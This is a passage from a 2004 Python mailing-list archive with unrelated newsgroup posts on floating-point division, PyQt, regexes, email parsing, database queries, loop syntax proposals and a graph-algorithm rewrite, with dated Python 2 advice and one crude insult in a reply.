From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 13 Feb 2004 16:54:37 -0800
Subject: package similar to XML::Simple
In-Reply-To: <c0jlic$eds$4@atlantis.news.tpi.pl>
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
	<40294D36.B0AEE3C4@engcorp.com> <c0do15$tge$02$1@news.t-online.com>
	<402A69C2.FC8DABA@engcorp.com>
	<mailman.6.1076585559.698.python-list@python.org>
	<c0jf75$or2$2@atlantis.news.tpi.pl> <402D4FF7.944423B7@engcorp.com>
	<c0jkc4$eds$1@atlantis.news.tpi.pl>
	<EJcXb.30763$uV3.53262@attbi_s51>
	<c0jlic$eds$4@atlantis.news.tpi.pl>
Message-ID: <c0jrp0$ima$1@news.service.uci.edu>


 >>>>> Lack of Unicode support in an XML parser makes it unusable for
 >>>>> most part of humanity. It's much worse than bug, it's a mistake.
 >>>>
>>>>Most of humanity doesn't use XML, so that's silly.
>>>
>>>Most of humanity doesn't use ASCII.
>>
>>Most of humanity doesn't use computers.
> 
> So... Should we write programs by drawing circles on the sand?

Of course not.  But your initial assertion that the library is useless 
to the majority of humanity, because it does not support unicode, is false.

I find the library useless because I don't use XML (explicitly), either 
for storage or for IPC.

As for your comment about ASCII...  Last time I checked, TCP/IP was 
designed with the idea of 8-bit bytes and the ASCII character set (which 
is why you see references to NULL, \r, \n, etc.).  A large portion of 
internet protocols (http, telnet, ftp, gopher, nntp, etc.), used for 
communicating over TCP/IP, also refer to the same ASCII character set.

Considering the implementations of compilers for the C and C++ 
programming languages, those operating systems written using C and C++, 
most likely have source code stored in ASCII (I doubt you could find a 
major OS with non-ASCII characters that is written in C/C++).  This 
would include Microsoft, Linux, Apple, Sun, SGI, etc.  I'll leave it up 
to you to come up with the use percentages.

On the other hand, we could talk about embedded systems (which dwarfs 
the PC industry), but there you'll also find ASCII, because the 
compilers for the 8,16,32 bit processors in embedded systems, are 
sitting on some standard machine using Windows or *nix, both of which 
were written in C/C++, with source code stored in ASCII format.

It is funny how ASCII is everywhere.
  - Josiah


From binary101010 at yahoo.com  Thu Feb  5 16:39:53 2004
From: binary101010 at yahoo.com (se7en)
Date: 5 Feb 2004 13:39:53 -0800
Subject: How to send a file as an argument when running another file in
	Python
Message-ID: <ea69a371.0402051339.78b09d69@posting.google.com>

I have this file x.py and I need to execute it with y.met as an
argument.  Unsure of syntax etc...

-Python newbie


From squan at web.de  Mon Feb 23 02:55:20 2004
From: squan at web.de (Stefan Quandt)
Date: 22 Feb 2004 23:55:20 -0800
Subject: QWidget casts with PyQt?
References: <mailman.117.1077300351.27104.python-list@python.org>
	<RpEZb.27969$U77.3101698165@twister2.starband.net>
Message-ID: <ae5c48d7.0402222355.4b32bd85@posting.google.com>

Jim Bublitz <jbublitzno at spamnwinternet.com> wrote in message news:<RpEZb.27969$U77.3101698165 at twister2.starband.net>...
> Michael Pyle wrote:
> 
> > Just use the reference you get back as a QButtonGroup object.
>  
> > The following code works fine for me:
>  
> > from qt import *
>  
> > app = QApplication([])
> > box = QToolBox()
> > grp = QButtonGroup()
> > box.addItem( grp, 'button group' )
> > item = box.item( 0 )
> > print item
> > print item.isRadioButtonExclusive()
>  
> > This outputs:
> > <__main__.qt.QButtonGroup object at 0x00804360>
> > True
>  
> > Stefan Quandt wrote:
> >> I want to access widgets from a Qt container widget e.g.
> >>   item = ToolBox.item( 0 )
>  
> >> I know that the item is a QButtonGroup.
> >> The Qt-Library returns a QWidget pointer.
> >> So what I get is a Python QWidget wrapper object.
>  
> > This is quite a general problem for which I would like to know
> > a solution too.
> 
> As a general solution, methods and functions (including factory
> functions) which return a pointer cast down to a QWidget or
> QObject base type will return an object of the original type in
> Python with PyQt or PyKDE (as shown above). Same for QEvent
> based objects.
> 
> If they don't, you should report a bug on the PyKDE mailing list.
> 
> Jim
Oh, that's great.

Thanks for clarifying.
  Stefan


From omission9 at invalid.email.info  Thu Feb 19 20:21:33 2004
From: omission9 at invalid.email.info (omission9)
Date: Fri, 20 Feb 2004 01:21:33 GMT
Subject: Socket Programming in Python
In-Reply-To: <mailman.62.1077198942.27104.python-list@python.org>
References: <mailman.62.1077198942.27104.python-list@python.org>
Message-ID: <xidZb.31099$5W3.7576@nwrddc02.gnilink.net>

Premshree Pillai wrote:

> For the uninitiated: "Socket Programming in Python" at
> evolt.org: http://evolt.org/article/Socket_Programming_in_Python/17/60276/index.html
> 
> =====
> -Premshree
> [http://www.qiksearch.com/]
> 
> ________________________________________________________________________
> Yahoo! India Insurance Special: Be informed on the best policies, services, tools and more. 
> Go to: http://in.insurance.yahoo.com/licspecial/index.html
> 
What a retarded tutorial. If that article is any indication of Mumbai 
University it seems that institution is to be about on par with an 
american vocational high school.



From chris at inetd.com.au  Tue Feb 24 01:18:55 2004
From: chris at inetd.com.au (Chris Foote)
Date: Tue, 24 Feb 2004 16:48:55 +1030
Subject: xmlprclib/server not reusing connections
In-Reply-To: <nfgqg1-gh4.ln1@home.rogerbinns.com>
References: <spv8g1-fev.ln1@home.rogerbinns.com>
	<mailman.6.1077573113.8594.python-list@python.org>
	<nfgqg1-gh4.ln1@home.rogerbinns.com>
Message-ID: <20040224163953.L40332@sushi.cryptofish.com>

On Mon, 23 Feb 2004, Roger Binns wrote:

> multicall is of no use to me because my following requests depend on the results
> of the preceding ones.  SSL is really important since the traffic is going
> over the open Internet.  I needed to do some certificate validation which
> the Python 2.3 library has no facilities for.
>
> On the server side, things were hopeless as well.  Since it would be
> listening on the open Internet, and had to work on Windows as well as
> Linux and Mac, the threading server initially seemed appealing, but
> sadly it has no facilities for limiting the number of threads spawned.
> It also makes a new thread per request, rather than the more normal
> design of having a thread pool to deal with requests/connections.
>
> xmlrpclib is coded to use the Python 1.5 compatible names (and lack of
> HTTP/1.1 and persistent connections).  SimpleXMLRPCRequestHandler is
> hard-coded to close connections after one request (see last line of
> do_POST).  The M2Crypto code that added SSL to both inherited those
> implementations and design.
>
> Basically the existing xmlrpclib and SimpleXMLRPCServer are hard coded
> (and IMHO go out of their way) to do one request per connection, and
> then shut things down.  Throw in that I needed to do SSL on both ends, with
> HTTP authentication, and some "light" firewalling in order to prevent
> DOS attacks, I had to spend several days mashing the various classes
> together with M2Crypto together.
>
> You can see the results here:
>
> http://cvs.sf.net/viewcvs.py/bitpim/bitpim/bitfling/xmlrpcstuff.py?view=markup

Excellent - I've been wanting these features for some time ;-)


Chris Foote <chris at inetd.com.au>
  _                  _         _
 (_)                | |       | |   Director - INETD PTY LTD
  _   _ __     ___  | |_    __| |   Level 2, 132 Franklin St
 | | | '_ \   / _ \ | __|  / _` |   Adelaide SA 5000
 | | | | | | |  __/ | |_  | (_| |   Web:   http://www.inetd.com.au
 |_| |_| |_|  \___|  \__|  \__,_|   Phone: (08) 8410 4566



From danb_83 at yahoo.com  Thu Feb  5 22:05:05 2004
From: danb_83 at yahoo.com (Dan Bishop)
Date: 5 Feb 2004 19:05:05 -0800
Subject: Python can't divide??!?!
References: <mailman.1252.1076003166.12720.python-list@python.org>
Message-ID: <ad052e5c.0402051905.2f590681@posting.google.com>

"Dan Williams" <dan at ithium.net> wrote in message news:<mailman.1252.1076003166.12720.python-list at python.org>...
> Ummmm...
> 
> This is weird. Sorry if it's known about (how can it NOT be, I wonder?) but
> I haven't seen any reference to it anywhere.

Then you haven't been looking hard enough.
 
> I'm running the latest Python (2.3.3) on Windows XP Pro, i386 architecture.
> 
> Fire up python or whatever.
> 
> Do this:     Result:
> 
> 3 / 5        0                       Fair enough, int / int = int

This is for bug-compatibility with old versions of Python.  It is
strongly recommended that all new Python scripts use "from __future__
import division".

> 3 / 5.0      0.59999999999999998     eh?
> 3.0 / 3      0.59999999999999998     ummmm...
> 3.0 / 5.0    0.59999999999999998     how did I guess...

It makes perfect sense when you remember that computers do math in
binary.  In binary, 3/5 is equal to 0.1 0011 0011 0011 0011 0011
0011..., which is rounded to (C99 notation) 0x1.33333333333333333p-1. 
The exact decimal equivalent of this is
0.59999999999999997779553950749686919152736663818359375.  In the
default 17 significant digits format, this rounds to
0.59999999999999998.

> That's just an example. Python cannot divide. Period.

It's off by only 37 parts per quintillion.

> If you try 1.0 / 3 you get 0.33333333333333331,

More precisely, you get 0x1.5555555555555p-2, or
0.333333333333333314829616256247390992939472198486328125.

> and from this, the above example, and a few tests,
> I speculate that *something* is subtracting 2 from the last digit *after*
> the division is done.

*Nothing* is subtracting from the last digit because your floating
part hardware has no concept of decimal digits, only bits.
 
> Now, is this just me, or can someone else duplicate it?

Everyone in the world who has binary floating part hardware can
duplicate it, whether they're using Python or not.


From dontbotherworld at yahoo.com  Thu Feb 26 03:51:40 2004
From: dontbotherworld at yahoo.com (dont bother)
Date: Thu, 26 Feb 2004 00:51:40 -0800 (PST)
Subject: Python:Email and Header Parsing: Some Help
Message-ID: <20040226085140.85399.qmail@web60806.mail.yahoo.com>

Hi,
I have written this small piece of code. I am a brand
new  player of Python. I had asked some people for
help, unfortunately not many helped.
Here is the code I have:

import email
import os
import sys
fread = open('email_message', 'r')
msg=email.message_from_file(fread)
print msg
#fwrite = open('output','w')
#fwrite.write(msg)

This way I am able to print the entire email message
on the stdout. The program generates an error If I try
to write the output to a file-- It says the argument
(here msg) should be a string but not as an instance
like here. How to write the message to another file
then?

2. I have so many headers in the email message

To:
From:
X Received:
X Priority:
Subject:
etc etc.
I want to parse the headers separtely and message
separately. Does anyone has an example code to deal
with Parser?
Also I want to remove the redundant words and all html
tags. Any advise on that?
I saw some examples using HTMLGen But I dont have
HTMLGen with python on my machine. I have Python
2.3.3. on my machine.

All help is greatly appreciated.
Thanks
Dont

__________________________________
Do you Yahoo!?
Get better spam protection with Yahoo! Mail.
http://antispam.yahoo.com/tools



From http  Thu Feb 19 02:16:13 2004
From: http (Paul Rubin)
Date: 18 Feb 2004 23:16:13 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com>
	<7xwu6khofz.fsf@ruckus.brouhaha.com>
	<cfKYb.44192$hR.1014416@bgtnsc05-news.ops.worldnet.att.net>
	<mailman.29.1077136563.27104.python-list@python.org>
	<7x7jyk2hu9.fsf@ruckus.brouhaha.com>
	<slrnc386fn.2u8.joe@gate.notcharles.ca>
	<7xd68bzs79.fsf@ruckus.brouhaha.com>
	<c11lkg$qni$1@news.service.uci.edu>
Message-ID: <7xllmzpmiq.fsf@ruckus.brouhaha.com>

Josiah Carlson <jcarlson at nospam.uci.edu> writes:
> Sure, there is a difference between '==' becoming '=', and '=='
> becoming ':=', but the difference is 1 inch and a shift key on my
> keyboard. 

Oh come on, you're grasping at straws.  What about the difference
between '>' and '<'?  Those are even closer together than ':' and '='.
Do you want to get rid of those operations too?  The '=' vs '==' thing
may actually confuse some people but it's hard to mistake := for
anything other than an assignment.

> I've made larger errors when typing than just an inch and a
> shift-key.  I believe it would cause more bugs, reduce readability,
> and attempts to fix a problem that doesn't really exist.

That's sheer speculation on your part.  You've cited the existence of
assignment expression errors causing 'more than one bug' in the
hundreds of millions of C code written over the past three decades.
That's not persuasive of anything, given how many other bugs there are
of just about every other sort.  And in fact, the one in the Linux
kernel shows the opposite of what you're claiming.  It wasn't an
accidental error that slipped through anything; it was a deliberate
hole that someone introduced hoping no one would notice, but it was
noticed immediately, showing that the =/== distinction is less
difficult to spot than you seem to think.

Assignment expressions have been used successfully in C and other
languages for many years, including plenty of them in the CPython
code.  It's reasonable to say they're used all the time by some very
capable programmers and it's impertinent of you to imply that those
programmers don't know what they're doing.  If you don't like them,
fine, don't use them, but don't try to convince people who use them
that they're wrong.  What's a programming language like Python aiming
to do, anyway?  Among other things, it aims to make programming
non-frustrating.  So if a sizeable population of users find that the
absence of a particular useful feature is actually frustrating, give
some thought to the idea that the absence really is a shortcoming in
the language.


From michele.simionato at poste.it  Sun Feb  1 14:28:08 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 1 Feb 2004 11:28:08 -0800
Subject: howto prevent class variable assignment
References: <bvj1do$1av$1@news.rz.uni-karlsruhe.de>
	<mailman.1096.1075646941.12720.python-list@python.org>
Message-ID: <95aa1afa.0402011128.1a8b7862@posting.google.com>

Gerrit Holl <gerrit at nl.linux.org> wrote in message news:<mailman.1096.1075646941.12720.python-list at python.org>...
> Uwe Mayer wrote:
> > when an instance variable of a class is not found, python tries to fall back
> > to the class variable. 
> > I want to use that feature to provide default settings for a class which can
> > be overwritten by assignments to variables with the same name.
> > 
> > This quickly becomes difficult to handle when you get confused wether your
> > assignment was made to a class variable or an instance variable. I
> > therefore want to prevent write access to class variables. How do I do
> > that?
> 
> I think you can do that with a Metaclass.
> See http://www.python.org/2.2.2/descrintro.html#metaclasses
> 
> Gerrit.
> 

Indeed. You must override __setattr__ in the metaclass of your class.
For instance

>>> class C:
...     class __metaclass__(type):
...         def __setattr__(cls,name,value):
...             raise "error"
...
>>> C.x = 1 # error


From vwehren at home.nl  Thu Feb  5 23:44:45 2004
From: vwehren at home.nl (Vincent Wehren)
Date: Fri, 6 Feb 2004 05:44:45 +0100
Subject: "datatype mismatch error" in MS Access
References: <mailman.1285.1076035428.12720.python-list@python.org>
Message-ID: <bvv638$tr2$1@news3.tilbu1.nb.home.nl>


"Stephen Briley" <sdb1031 at yahoo.com> schrieb im Newsbeitrag
news:mailman.1285.1076035428.12720.python-list at python.org...
| For some reason, my posts are scrubbed as attachments.
|  Lets hope that sending from the yahoo account works.
|
| I'm new to Python and I'm trying to do some database
| work with MS Access, but I can't seem to get around a
|  "datatype mismatch error".  Here's an example table
| that I'm working with...
|
| ID      name    dept
| 1       steve   acct
| 2       mike    acct
| 3       george  payroll
| 4       frank   payroll
| >>> import win32com.client
| >>> engine =
| win32com.client.Dispatch("DAO.DBEngine.36")
| >>> db =
| engine.OpenDatabase(r"c:\python-access\db4.mdb")
| >>> rs3 = db.OpenRecordset("work")
|
| >>>rs3 = db.OpenRecordset("select * from work where ID
| = 3 ")
| >>>dept = rs3.Fields("dept")
| >>>print dept
| payroll
|
| The above does exactly what I want, except I'd like to
| use a variable instead of the number 3.
| When I try I get the following...
|
| >>>idnum = 3
| >>>rs3 = db.OpenRecordset("select * from work where ID
| = '%i'" %(idnum))

Have you tried it without the single quotes around %i?

Regards,
Vincent Wehren




| Traceback (most recent call last):
|   File "<interactive input>", line 1, in ?
|   File
| "win32com\gen_py\00025E01-0000-0000-C000-000000000046x0x5x0.py",
| line 508, in OpenRecordset
|     ret = self._oleobj_.InvokeTypes(1610809383, LCID,
| 1, (9, 0), ((8, 1), (12, 17), (12, 17), (12,
| 17)),Name,
| Type, Options, LockEdit)com_error: (-2147352567,
| 'Exception occurred.', (0, 'DAO.Database', 'Data type
| mismatch in
| criteria expression.', 'jeterr40.chm', 5003464,
| -2146824824), None)
|
|
| The data type for the ID field in the table is
| "number" so why am I recieving the datatype mismatch
| error?
| I'd really appreciate some help, if anyone has any
| suggestions.  Thanks!
|
|
| __________________________________
| Do you Yahoo!?
| Yahoo! Finance: Get your refund fast by filing online.
| http://taxes.yahoo.com/filing.html
|




From kbk at shore.net  Fri Feb  6 10:25:24 2004
From: kbk at shore.net (Kurt B. Kaiser)
Date: Fri, 06 Feb 2004 15:25:24 GMT
Subject: new newbie
References: <UJNUb.10836$213.5980@edtnps89>
Message-ID: <87u124jkm4.fsf@hydra.localdomain>

not_yet <user at domain.invalid> writes:

> new to python and linux
>
> how do I start idle?
>
> using Fedora / Python2.2

If you want to use IDLE (good idea) then I would
highly recommend that you upgrade to the 2.3.3 RPM

http://www.python.org/2.3.3/rpms.html

which has the latest version of IDLE already 
installed and ready to go.  IDLE 1.0.2 has many
improvements over IDLE 0.8.

-- 
KBK


From fake at fake.net  Tue Feb 24 14:27:48 2004
From: fake at fake.net (Andrei)
Date: Tue, 24 Feb 2004 20:27:48 +0100
Subject: Regular expressions help
References: <6af33541.0402241054.77ae5c61@posting.google.com>
Message-ID: <1qpuzwm54ciep.1or0q8o54xioc$.dlg@40tude.net>

Mike Hearne wrote on 24 Feb 2004 10:54:45 -0800:

> Given the following three lines:
> 
> name fredgeorge
> name georgeharry
> name george
> 
> I'm trying to find a regular expression that matches only the third
> one.

It's pretty easy:

"name george$"

"$" means end of string

-- 
Yours,

Andrei

=====
Real contact info (decode with rot13):
cebwrpg5 at jnanqbb.ay. Fcnz-serr! Cyrnfr qb abg hfr va choyvp cbfgf. V ernq
gur yvfg, fb gurer'f ab arrq gb PP.


From paxcalpt at sapo.pt  Sat Feb  7 20:11:57 2004
From: paxcalpt at sapo.pt (Xcal)
Date: Sun, 8 Feb 2004 01:11:57 -0000
Subject: How to make a Gaussian Fit?
Message-ID: <40258ecd$0$16818$a729d347@news.telepac.pt>

Anyone knows how to make a Gaussian fit to a histogram data using Python, or
where I can find a library that helps me in this task?

Tks everyone...

Paxcal




From max at alcyone.com  Mon Feb  2 21:26:22 2004
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 02 Feb 2004 18:26:22 -0800
Subject: Python vs. Io
References: <711c7390.0401291301.3f95794@posting.google.com>
	<d6ed4cf175ae626f7af3e1b3ee448bf4@news.teranews.com>
	<711c7390.0402021648.325d7760@posting.google.com>
Message-ID: <401F06CE.1AA800BF@alcyone.com>

Daniel Ehrenberg wrote:

> If there are good enough responses, I'll use Python. I just wanted to
> know a reason why Python is better. Also, these responses might be
> used to make Io better (since it's a young language).

Why is difference necessarily better or worse?  Sometimes different is
just different and whether that's better or worse is a subjective
judgement call on which there will be no general consensus.

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ I just want to create my own life. I can just be me.
    -- Ekene Nwokoye


From kylotan at hotmail.com  Sat Feb  7 07:45:12 2004
From: kylotan at hotmail.com (Kylotan)
Date: 7 Feb 2004 04:45:12 -0800
Subject: Warnings killing my performance
References: <153fa67.0402060933.13840e8c@posting.google.com>
	<mailman.1322.1076118385.12720.python-list@python.org>
Message-ID: <153fa67.0402070445.77121b2e@posting.google.com>

"Terry Reedy" <tjreedy at udel.edu> wrote in message news:<mailman.1322.1076118385.12720.python-list at python.org>...
> "Kylotan" <kylotan at hotmail.com> wrote in message
> news:153fa67.0402060933.13840e8c at posting.google.com...
> > And my second is, is there a quick way of taking an integer, shifting
> > it left 13 bits (or multiplying by 2 ** 13, whatever), discarding any
> > excess bits, and which won't cause a warning?
> 
> Have you tried masking off the upper 13 bits *before* the shift?  So that
> there is no overflow to warn about?  Does this make any sense?

Yes, it makes perfect sense... but unfortunately getting rid of that
specific warning isn't enough. As noted in my first post, something is
going through the warnings mechanism silently. I changed the code to
this:

def IntToRandFloat(x):
    """Given a 32-bit integer, return a float in [-1.0, 1.0]"""
    x = int(x) & 0x3FFFF # Preserve lowest 18 bits, to remove
overflow.
    x = int(x << 13) ^ x # Shift left 13 bits.
    return (1.0-((x*(x*x*15731+789221)+1376312589)&0x7fffffff)/1073741824.0)

And the profiler is still showing a call to warn() and warn_explicit()
for each call to IntToRandFloat. I'm also having to preserve 18 bits
instead of the desired 19 because the warning displays when I use 18,
presumably because it includes the sign bit. However now I think I am
damaging the distribution of the function (which is supposed to
generate deterministic noise).

I probably should have mentioned earlier that I'm using "Python 2.3.3
(#51, Dec 18 2003, 20:22:39) [MSC v.1200 32 bit (Intel)] on win32" for
what it's worth.

If I knew what warning it was, maybe I could turn it into an error to
find out what's causing it. But right now, it's a silent warning that
I can't do much about. And which is slowing down my code a lot!

I'm starting to think that I might need to write a 1-function C++
extension here, which would be a shame.

-- 
Ben Sizer


From jcarlson at nospam.uci.edu  Sun Feb  8 23:34:49 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 08 Feb 2004 20:34:49 -0800
Subject: "ulimit -s" has no effect?
In-Reply-To: <87llndkn47.fsf@dgp.toronto.edu>
References: <877jz2f8l9.fsf@dgp.toronto.edu>
	<c00i0a$inl$2@news.service.uci.edu>
	<877jyzeesq.fsf@dgp.toronto.edu>
	<c01qib$po6$1@news.service.uci.edu>
	<87hdy2hpbb.fsf@dgp.toronto.edu>
	<c03fla$c2k$1@news.service.uci.edu>
	<87llndkn47.fsf@dgp.toronto.edu>
Message-ID: <c072po$ldf$1@news.service.uci.edu>

> Sure, here is the algorithm code.  The routine is ripped out of a much larger
> class, but it should be relatively independent.  The class among other things
> contains a graph, with the graph vertices in `self.nodes'.  Each node object
> has a `kids' attribute, which is a list of (kid node, edge type) tuples.  The
> edge type is unimportant as far as this algo is concerned.

visit(v) is now non-recursive.  I ran a test on a randomly generated 26 
node graph, and both versions resulted in the same components, node 
visit order, etc.  I think you'll be happy with it.

I notice that you are a graduate student at the University of Toronto. 
Out of curiosity, what area are you focusing on?  From your playing with 
Tarjan's algorithm, I would expect that you are either a Theory student, 
or are taking a Theory course to fulfill a requirement of some sort. 
It's all good.

I'm a graduate student at University of California at Irvine, studying 
Theory myself.  Well, I should probably get back to my own work.

Enjoy,
  - Josiah


     def find_scc(self):
         """Find the 'strongly connected component' (SCC) of the graph.

         Implemented using Tarjan's algorithm.
         """
         # prep the vertices
         for n in self.nodes:
             n.num = None                # the "visit order number"
             n.root = n
             n.visited = False
             n.in_component = None

         stack = []
         components = []
         nodes_visit_order = []
         self.next_visit_num = 0

         def visit(v):
             call_stack = [(1, v, iter(v.kids), None)]
             while call_stack:
                 tovisit, v, iterator, w = call_stack.pop()
                 if tovisit:
                     v.visited = True
                     nodes_visit_order.append(v)
                     v.num = self.next_visit_num
                     self.next_visit_num += 1
                     stack.append(v)
                 if w and not w.in_component:
                     v.root = nodes_visit_order[ min(v.root.num,\
                                                     w.root.num)]
                 cont = 0
                 for w, notused in iterator:
                     if not w.visited:
                         cont = 1
                         call_stack.append((0, v, iterator, w))
                         call_stack.append((1, w, iter(w.kids), None))
                         break
                     if not w.in_component:
                         v.root = nodes_visit_order[ min(v.root.num,\
                                                         w.root.num) ]
                 if cont:
                     continue
                 if v.root == v:
                     c = []
                     while 1:
                         w = stack.pop()
                         w.in_component = c
                         c.append(w)
                         if w == v:
                             break
                     components.append(c)

         # the "main" routine
         for v in self.nodes:
             if not v.visited:
                 visit(v)

         # extract SCC info
         for n in self.nodes:
             if n.in_component and len(n.in_component) > 1:
                 # part of SCC
                 n.hidden = False
             else:
                 # either not in a component, or singleton case
                 n.hidden = True


From ketulp_baroda at yahoo.com  Mon Feb 23 09:54:41 2004
From: ketulp_baroda at yahoo.com (ketulp_baroda at yahoo.com)
Date: 23 Feb 2004 06:54:41 -0800
Subject: Typecasting
Message-ID: <f046efac.0402230654.6c69bd7d@posting.google.com>

"Shah, Rajesh \(GE Consumer & Industrial\)" <Rajesh.Shah at ge.com> wrote in message news:<mailman.198.1077534828.27104.python-list at python.org>...
> Hi Everybody,
> 
> Can you guide me to convert string into Int datatype?
> (i.e. How can we convert string into int? like '555' into 555)
> 
> Thanks in advance.
> 
> ~Rajesh

Hi Rajesh,
Just do int('555')
Bye


From LittleDanEhren at yahoo.com  Sun Feb  1 18:26:29 2004
From: LittleDanEhren at yahoo.com (Daniel Ehrenberg)
Date: 1 Feb 2004 15:26:29 -0800
Subject: Python vs. Io
References: <711c7390.0401291301.3f95794@posting.google.com>
	<mailman.1018.1075433635.12720.python-list@python.org>
Message-ID: <711c7390.0402011526.34074f29@posting.google.com>

> As other posts have indicated, this is not the io-user-list.  While
> you probably have good, purely academic intentions with your post,
> this is not the correct forum.  Create an io-vs-python list somewhere
> and I'm sure you'll get a few subscribers. :)

Io vs. Python is a very narrow topic and not fit for a mailing list.
There have been many repetitive Python vs. Ruby threads and nobody
made this complaint. When somebody asks a question about using the
Zope CMF, people don't say "go make a zope-cmf mailing list", they
give a constructive response.

Daniel Ehrenberg


From paxcalpt at sapo.pt  Wed Feb 11 14:52:22 2004
From: paxcalpt at sapo.pt (Paxcal)
Date: Wed, 11 Feb 2004 19:52:22 -0000
Subject: Scipy question about scipy.optimize.leastsq
Message-ID: <402a89be$0$16823$a729d347@news.telepac.pt>

Hi...

Does anyone know how can I get the fitting error (R**2) when using the
scipy.optimize.leastsq.

Tks everyone...

Paxcal




From spam-me-senseless at 127.0.0.1  Tue Feb  3 06:09:38 2004
From: spam-me-senseless at 127.0.0.1 (aum)
Date: Wed, 04 Feb 2004 00:09:38 +1300
Subject: Seeking Python->mySQL OR module
References: <opr2rs00sjthr2dr@news.orcon.net.nz>
	<mailman.1149.1075778156.12720.python-list@python.org>
Message-ID: <opr2sjyct6thr2dr@news.orcon.net.nz>

On Mon, 02 Feb 2004 22:15:52 -0500, Mike C. Fletcher <mcfletch at rogers.com> 
wrote:

> Give in to the idea that there is no perfect object-relational mapper :)

After several hours of looking, this is dawning on me.

> .  There is a high impedance mismatch between the two domains

I'm really seeing what you mean. And how!

Back in my bad old PHP days, the paradigm difference wasn't as severe.
But since I've disinfected myself of PHP and settled into Python, the
two worlds are universes apart.

The general feeling I get is that DB-wrapping is probably a personal
thing, extremely subject to the needs and tastes of the programmer.

In my case, I think I'll go down the track of having a single module for 
all
things SQL, and writing specific funcs/classes for specific queries.

>     http://pytable.sourceforge.net/

Thx for the recommendation. I've downloaded it, and am studying it along 
with a few others.

>
> Good luck in your search,
> Mike
>
> _______________________________________
>   Mike C. Fletcher
>   Designer, VR Plumber, Coder
>   http://members.rogers.com/mcfletch/
>
>
>



-- 
Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/


From anand at easi.soft.net  Tue Feb  3 06:48:12 2004
From: anand at easi.soft.net (Anand K Rayudu)
Date: Tue, 03 Feb 2004 17:18:12 +0530
Subject: embedding  python
References: <mailman.1130.1075732106.12720.python-list@python.org>	<bvng7s$uljga$1@ID-99293.news.uni-berlin.de>	<mailman.1158.1075799212.12720.python-list@python.org>
	<bvo0m5$u60rm$1@ID-99293.news.uni-berlin.de>
Message-ID: <401F8A7C.4060401@easi.soft.net>


>  
>
>>>Did you compile with '-lm' ?
>>>Eg:
>>>   http://home.eol.ca/~parkw/index.html
>>>      
>>>
>>Thanks for the help, I compiled with -lm , It did not work!!
>>Probably i need to re-compile python with -DEMBED_PYTHON option as you 
>>suggested.
>>    
>>
>
>No.  '-DEMBED_PYTHON' is just for my patch, which embeds Python in Bash
>shell.  It's one example of embedding and compiling.  Since I can do
>math, there must be something I'm doing that you're not. :-)
>
Yes I figured it out, are u also trying on HP machines? Bacause it works 
fine on all other platforms!!!

>
>  
>

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From paul at prescod.net  Wed Feb 25 11:45:19 2004
From: paul at prescod.net (Paul Prescod)
Date: Wed, 25 Feb 2004 08:45:19 -0800
Subject: Some language proposals.
In-Reply-To: <tyf1xojnzwp.fsf@pcepsft001.cern.ch>
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>	<mailman.58.1077649530.8594.python-list@python.org>	<tyfbrnno9e2.fsf@pcepsft001.cern.ch>	<mailman.88.1077699734.8594.python-list@python.org>
	<tyf1xojnzwp.fsf@pcepsft001.cern.ch>
Message-ID: <403CD11F.6050609@prescod.net>

Jacek Generowicz wrote:

> Paul Prescod <paul at prescod.net> writes:
> 
> 
>>I disagree. Closures are rare in Python because Python is primarily an
>>OOP language.
> 
> I disagree, Python is a multi-paradigm language ...

In Python functions are objects but objects are not functions. In (e.g.) 
  Scheme the opposite is true.

> ... I fail to see how
> this has any bearing on the use of closures ... all of which is
> irrelevant to my original point, which was to note out that saying
> "people don't use it much" is not a very convincing argument for not
> fixing something that is broken ... because the very fact that it is
> broken probably contributes to people not using it much.

But the more important point is that people do not NEED it much. Guido 
writes hundreds of lines of Python code per week. If he often ran into 
situations where a mutable closure would make a big difference then he 
would presumably find some way of doing it. The people who want this 
seem most often to be people trying to import their coding styles from 
another language.

  Paul Prescod





From jan at jandecaluwe.com  Thu Feb  5 17:02:12 2004
From: jan at jandecaluwe.com (Jan Decaluwe)
Date: Thu, 05 Feb 2004 23:02:12 +0100
Subject: ANNOUNCE: MyHDL 0.4
In-Reply-To: <4qu5be3z.fsf@python.net>
References: <40227A13.101@jandecaluwe.com> <4qu5be3z.fsf@python.net>
Message-ID: <4022BD64.1020609@jandecaluwe.com>

Thomas Heller wrote:
> Jan Decaluwe <jan at jandecaluwe.com> writes:
> 
> 
>>I am happy to announce the release of MyHDL 0.4.  MyHDL is a Python
>>package for using Python as a hardware description & verification
>>language.
>>
>>MyHDL 0.4 supports the automatic conversion of a subset of MyHDL code
>>to synthesizable Verilog code.
> 
> 
> Very cool, but do you intend to add VHDL generation at some time?
> 
> Although it seems it would be better I had learned verilog instead.

Verilog is quite allright as a back-end format :-)

VHDL output - no plans, for the following reasons:

1. I would need an open-source VHDL simulator *with PLI support*
An Icarus for VHDL, let's say (thanks, Stephen Williams!). To verify
output conversion, it is essential to have co-simulation. As far
as I know, this is just not there for VHDL.

2. The fact that Verilog co-simulation and conversion works, 
demonstrates that "it can be done". There *is* now a path to
implementation using an intermediate :-) format that any
EDA tool will understand. For me personally and for 
the myhdl technology it makes more sense to tackle other areas 
(especially verification) than "to do it again". That having
said, I welcome any effort and any help from others to
fill in missing functionality, such as VHDL support.

Of course, I'll take back all of these points if sponsors show up.

Regards, Jan

-- 
Jan Decaluwe - Resources bvba - http://jandecaluwe.com
Losbergenlaan 16, B-3010 Leuven, Belgium
    Python is fun, and now you can design hardware with it:
    http://jandecaluwe.com/Tools/MyHDL/Overview.html



From daniel.dittmar at sap.com  Tue Feb 24 07:52:49 2004
